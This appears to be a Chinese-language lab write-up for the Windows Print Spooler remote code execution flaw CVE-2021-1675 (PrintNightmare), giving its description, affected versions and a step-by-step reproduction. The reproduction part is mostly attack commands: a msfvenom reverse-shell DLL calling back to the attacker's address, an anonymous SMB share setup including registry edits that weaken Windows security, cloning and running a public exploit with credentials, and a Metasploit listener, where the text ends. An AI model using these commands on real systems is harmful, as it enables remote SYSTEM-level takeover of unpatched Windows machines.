Windows Print Spooler 远程代码执行漏洞（CVE-2021-1675）

0x00 漏洞详情

Microsoft Windows Print Spooler 服务未能限制对RpcAddPrinterDriverEx()函数的访问，该函数可能允许远程身份验证的攻击者以系统权限在易受攻击的系统上执行任意代码。该RpcAddPrinterDriverEx()函数用于在系统上安装打印机驱动程序。此函数的参数之一是DRIVER_CONTAINER对象，它包含有关添加的打印机将使用哪个驱动程序的信息。另一个参数，dwFileCopyFlags指定如何复制替换打印机驱动程序文件。攻击者可以利用任何经过身份验证的用户都可以调用RpcAddPrinterDriverEx()并指定位于远程服务器上的驱动程序文件这一事实。这会导致 Print Spooler 服务spoolsv.exe以 SYSTEM 权限执行任意 DLL 文件中的代码。

影响版本：

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows RT 8.1

Windows 8.1 for x64-based systems

Windows 8.1 for 32-bit systems

Windows 7 for x64-based Systems Service Pack 1

Windows 7 for 32-bit Systems Service Pack 1

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows Server, version 2004 (Server Core installation)

Windows 10 Version 2004 for x64-based Systems

Windows 10 Version 2004 for ARM64-based Systems

Windows 10 Version 2004 for 32-bit Systems

Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H1 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

0x01 漏洞复现

环境：win11(10.0.13.249，192.168.133.1)和kali虚拟机(192.168.133.145)nat模式。

1.1 win11开启这个打印机服务

1.2 DLL生成

kali到tmp目录生成dll

msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=192.168.133.145 LPORT=3333 -o reverse.dll

1.3 SMB 配置

cat /etc/samba/smb.conf

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

如果是windows

From windows it's also possible

mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

1.4 下载脚本

github下载这个项目

git clone https://github.com.cnpmjs.org/cube0x0/CVE-2021-1675.git #这里用.cnpmjs.org做下载加速

运行脚本前需要重新安装impacket

pip3 uninstall impacket
git clone https://github.com.cnpmjs.org/cube0x0/impacket
cd impacket
python3 ./setup.py install  #运行失败前面加个sudo

检查目标是不是存在漏洞，如果有输出表示存在

rpcdump.py @192.168.133.1 | grep MS-RPRN

1.5 漏洞利用

在脚本文件目录下执行以下代码，xu:79112167为win11用户名和密码，

python3 CVE-2021-1675.py xu:79112167@192.168.133.1 ‘\\192.168.133.145\smb\reverse.dll’
msf建立监听

msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.133.145
msf6 exploit(multi/handler) > set LPORT 3333